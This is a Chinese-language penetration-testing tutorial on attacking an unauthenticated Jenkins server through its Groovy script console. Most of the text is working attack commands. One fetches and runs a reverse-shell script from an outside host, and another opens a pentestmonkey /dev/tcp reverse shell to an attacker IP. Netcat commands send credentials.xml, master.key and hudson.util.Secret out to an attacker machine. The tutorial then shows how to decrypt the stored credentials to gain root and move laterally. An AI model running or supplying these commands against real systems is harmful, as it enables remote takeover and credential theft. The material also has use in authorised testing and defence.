碰到Jenkins未授权并且拥有Overall/RunScripts权限时可以在Script页面执行命令反弹Shell:
println "wget http://www.rinige.com/back.py -P /tmp/".execute().text println "python /tmp/back.py 192.168.1.3 8080".execute().text
Groovy脚本,这里使用的是 pentestmonkey 的Java reverse shell:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do /$line 2>&5 >&5; done"] as String[]) p.waitFor()
如果用户不是root没有sudo权限的情况下可以通过提取Jenkins保存的用户或者其他节点凭证来获取root权限
通常需要获取三个文件: master.key
、 hudson.util.Secret
还有 credentials.xml
这三个文件都在Jenkins安装目录,默认是 /opt/jenkins
root@jenkins:/opt/jenkins # nc -w3 192.168.1.3 5000 < credentials.xml root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < master.key root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < hudson.util.Secret root@kali:~# nc -l -p 5000 > credentials.xml root@kali:~# nc -l -p 5000 > master.key root@kali:~# nc -l -p 5000 > hudson.util.Secret
文件内容示例:
credentials.xml
<?xml version =' 1.0'encoding ='UTF-8'?> <com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin = “credentials@1.9.4” > <domainCredentialsMap class = “hudson.util.CopyOnWriteMap $ Hash” > <entry> <com.cloudbees.plugins.credentials.domains.Domain> <specifications /> </com.cloudbees.plugins.credentials.domains.Domain> <java.util.concurrent.CopyOnWriteArrayList> <com.cloudbees.plugins .credentials.impl.UsernamePasswordCredentialsImpl> <scope> GLOBAL </ scope> <id> cd940f20-1697-4052-8b8b-e47c058b5390 </ id> <description> </ description> <username> admin</ username> <password> VHWeSi8aTjIHIObYWyNw / 4hrqydpYESwI1JWfmBQNdI = </ password> </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> </java.util.concurrent.CopyOnWriteArrayList> </ entry> </ domainCredentialsMap>
hudson.util.Secret
[root @ localhost secrets]#cat hudson.util.Secret | hexdump -C 00000000 de 03 88 1c 89 df 74 7a 3d f0 00 27 dc 9b e1 a3 | ...... tz = ..'.... | 00000010 e0 61 1d 99 30 31 91 95 e3 3b 2f 6d 8c a8 1f 4d | .a..01 ...; / m ... M | 00000020 38 b6 eb 20 13 27 38 e7 5b 93 09 e5 91 04 b8 53 | 8 .. .8。[...... S | 00000030 df 64 68 75 39 47 3a 2b 2a 17 69 64 ee bc 75 7b | .dhu9G:+ *。id..u {| 00000040 07 5f a1 e9 69 a2 d8 23 9f ad 6b 4d eb db 91 c5 | .. .. .. .. .. kM .... | 00000050 24 06 6b bc 3c d7 4f 16 e3 ab 95 19 72 f0 75 e7 | $ .k。<。O ..... ru | 00000060 c1 6c 2c 9d 0f 3f 06 99 4e 9f b4 50 12 44 91 1c | .l,..?.. N..PD。| 00000070 35 78 3c c3 cd 1a 2a 77 6e b5 90 4e 7d eb 3c f6 | 5x <... * wn..N}。<。| 00000080 fd c9 53 9e 6f 69 73 02 7b f8 dc 72 f2 60 12 cc | ..S.ois。{.. r.` .. | 00000090 ae df 4a 10 65 23 bb 34 36 db 7c 38 f0 a6 fc a3 | ..Je#.46。| 8 .... | 000000a0 24 d2 b6 a5 28 b9 58 f8 40 45 0f 83 39 5e da b4 | $ ...(。X. @ E..9 ^ .. | 000000b0 5d 93 f0 8f 33 06 bd af 47 b9 d0 b1 ec 26 39 ef |] ... 3 ... G ....&9. | 000000c0 53 25 6a d8 ce c6 ec a5 26 5b ee 85 20 df 63 4d | S%j .....&[.. .cM | 000000d0 f7 f4 94 33 c4 8e 3d 82 ad a9 45 4e be 3e dc 0e | ... 3 .. = ... EN。> .. | 000000e0 1e d9 49 47 36 3d 38 f3 eb 29 22 22 0c c9 b5 0a | ..IG6 = 8 ..)“”.... | 000000f0 68 a0 e4 0d 0d 5b 99 08 3f 4e 03 8a 70 78 7c a7 | h .... [..?N..px |。| 00000100 28 6a a7 93 8b 23 10 54 dd 49 6f f5 67 f4 9c 3c |(j ...#。T.Io.g .. <| 00000110 [root @ localhost secrets]#wc hudson.util.Secret 1 7 272 hudson.util.Secret
master.key
6fa18d9aaac920b016d119b76de75251f472ec6f44734533d64eeb5de794f1ca33108a7a7c853a3acf084184e3e93ff98484d668a32d16f810cce970f93c750da0b785cb25527384acab38015c1a3e180a342b807f724da01f3e94584ac60651dc7f1958f3e2c6ed1a16990cbbcc361c82e3b65e96f435173ea67b7255d6810f
Jenkins使用 master.key
来加密 hudson.util.Secret
密钥, hudson.util.Secret
又用于加密 credentials.xml
中的密码。使用的加密算法为 AES-128-ECB
。
Script页面执行
println( hudson.util.Secret.decrypt("${ENCRYPTED_PASSPHRASE_OR_PASSWORD}") )
Python脚本:
有国外的安全研究员公开了解密脚本: https://github.com/tweksteen/jenkins-decrypt
root@kali:~/jenkins-decrypt# python decrypt.py master.key hudson.util.Secret credentials.xml
由此我们就可以解密凭证获得root权限进行横向渗透等操作